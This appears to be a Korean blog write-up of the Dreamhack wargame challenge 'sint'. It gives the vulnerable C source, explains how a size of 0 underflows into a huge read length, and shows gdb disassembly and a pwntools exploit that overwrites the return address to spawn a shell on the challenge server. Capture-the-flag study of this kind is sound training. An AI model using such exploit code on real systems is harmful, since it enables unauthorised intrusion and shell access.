728x90
반응형
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
코드를 보면 256바이트의 buf 변수를 선언하고, size 값을 입력 받아 0보다 작거나 256보다 크면 종료하고 아니라면 read로 데이터를 입력받는다.
하지만 read 함수 내에서 size - 1의 크기만큼 받아들이며,
만일 size 값이 0 이라면 0x00 00 00 00 - 1이되어 역으로 0xff ff ff ff가 되어버려 4,294,967,295의 값을 받아들일 수 있게 된다.
우선 gdb로 buf 변수의 위치와 size 변수의 위치를 확인해보면 아래와 같다.
gef➤ disas main
Dump of assembler code for function main:
...
0x08048696 <+42>: lea -0x104(%ebp),%eax
0x0804869c <+48>: push %eax
0x0804869d <+49>: push $0x80487a8
0x080486a2 <+54>: call 0x80484e0 <__isoc99_scanf@plt>
...
0x080486df <+115>: add $0x4,%esp
0x080486e2 <+118>: mov -0x104(%ebp),%eax
0x080486e8 <+124>: sub $0x1,%eax
0x080486eb <+127>: push %eax
0x080486ec <+128>: lea -0x100(%ebp),%eax
0x080486f2 <+134>: push %eax
0x080486f3 <+135>: push $0x0
0x080486f5 <+137>: call 0x8048450 <read@plt>
...
이제 이를 기준으로 코드를 작성해보자.
from pwn import *
p = remote('host3.dreamhack.games',23871)
#p = process('./sint')
e = ELF('./sint')
p.sendlineafter(b'Size: ',b'0')
pay = b'A'*(0x100 + 4) + p32(e.symbols['get_shell'])
p.sendlineafter(b'Data: ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 23871: Done
[*] '/home/kali/Downloads/sint'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(sint) gid=1000(sint) groups=1000(sint)
$ cat flag
DH{----------#플래그는 삭제}$
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
validator (0) | 2022.08.04 |
---|---|
cmd_center (0) | 2022.08.04 |
tcache_dup2 (0) | 2022.08.03 |
tcache_dup (0) | 2022.08.03 |
Tcache Poisoning (0) | 2022.08.02 |